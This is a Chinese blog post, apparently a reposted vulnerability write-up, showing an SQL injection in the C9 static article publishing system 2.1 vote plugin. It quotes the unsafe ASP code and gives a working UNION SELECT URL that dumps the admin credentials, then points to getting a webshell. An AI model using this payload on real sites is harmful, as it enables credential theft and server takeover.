C9静态文章发布系统 2.1正式版漏洞

By:Jshell
近来正在深入学习asp 到down.chinaz.com看源码都成习惯了
一直看到一个叫C9静态文章发布系统的程序 只不过没仔细看过
今天下载回来一份看了下 发现了问题 在投票那里 是一个flash投票系统
flash我不懂 于是抓了个包看了下 发现是通过add.asp提交投票 xml.asp
提供rss输出 当读到这里的时候 发现了问题
代码如下:

<!--#include file="../conn.asp"-->
<!--#include file="../fun/funlogic.asp"-->
<%
thisid=funstr(Trim(Request.QueryString("voteid")))
if thisid="" then
set rs=conn.execute("select top 1 * from plug_vote where oorc<>false order by id desc")
else
set rs=conn.execute("select * from plug_vote where id="&thisid)
end if
if rs.eof then response.Write("连接数据发生错误"):response.End()
conn.execute "update plug_vote set votevi=votevi+1 where id="&rs("id")
for i=1 to 5
if isnull(rs("cs_"&i)) then exit for
next
nowid=rs("id")
......
%>

这里 我们看下是如何接收变量传递进来的值的
thisid=funstr(Trim(Request.QueryString("voteid")))  trim过滤两边空格 然后是funstr这个函数 在包含文件里有个 fun/funlogic.asp 函数应该在这里 打开这个文件

Function funstr(str)  
    
  str = replace(str, "<", "<", 1, -1, 1)
  str = replace(str, ">", ">", 1, -1, 1)
     str = trim(str)
  str = replace(str,"'","‘")
  
  funstr = str
    End Function
Function unfunstr(str)  
    
  str = replace(str, "<","<", 1, -1, 1)
  str = replace(str, ">",">", 1, -1, 1)
     str = trim(str)
  str = replace(str,"‘","'")
  
  unfunstr = str
    End Function

这个函数起到的作用就是过滤字符串中的一些字符如 < > 空格 ' 等等 作者可能认为这样就可以达到防注的效果 其实不然 注入不需要这些东西
http://127.0.0.1:2936/plug_vote/xml.asp?voteid=1

构造下 http://127.0.0.1:2936/plug_vote/xml.asp?voteid=1%20and%201=2%20union%20select%201,2,3,4,5,6,7,username,password,10,11,12,13,14,15,16,17,18%20from%20user%20where%20id=1 查询得到管理员用户名和密码

如图:


后台拿webshell 有两种方法 一个是上传 一个是编辑模板 注意看下
编辑模板的地址就可以了 不多说 用此漏洞干坏事者 MJJ

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
升级功能: 1.程序完美支持静态 方式输出 2.网站栏目无限级分类模式 3.栏目 自定义 静态目录,风格,排序,是否导航,是否列表,是否首页显示. 4.有效控制 栏目下信息移动,合并 [策划中...] 5.优化静态速度,使用缓存风格模式,使静态更速度. [策划中...] 6.对后台管理员设置等级列. [策划中...] 7.辅助插件,有效便捷拓展系统功能. 8.增加热门关键字,搜索关键字功能. 9.增加网站公告功能 10.修正cache文件夹位置 11.修正分类发布文章功能 12.增加搜索开关,设置搜索最大文章数为100. 13.去掉文章评论,网站留言功能,待2.0文章模块稳定后,开发相关插件. 14.修正 xml文件,js文件,map文件 此次升级为C9程序后续版本做基础 升级文件:   升级步骤:     1.首先把admin/ceche/ 目录移动到跟目录         2.覆盖文件分别有: admin目录,fun目录,temp目录,fck/fckconfig.js文件,跟目录下所有.asp文件.         3.上传升级文件 update.asp 到根目录,运行后删除.         4.删除根目录下文件为:lun.asp,lunshow.asp,guest.asp 暂时去除文章评论,和网站留言功能. 后台目录:admin 帐户密码:admin 使用注意: 1.上传后首页风格混乱,请登陆你程序后台 - 系统管理 - 基本设置 - 网站地址   设置正确的网站地址即可,如使用子目录,请设置子目录地址 如:http://www.youname.com/pagehtm 2.如何修改数据库路径   根目录下 conn.asp文件 3.程序使用后,请修改后台管理文件夹名
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值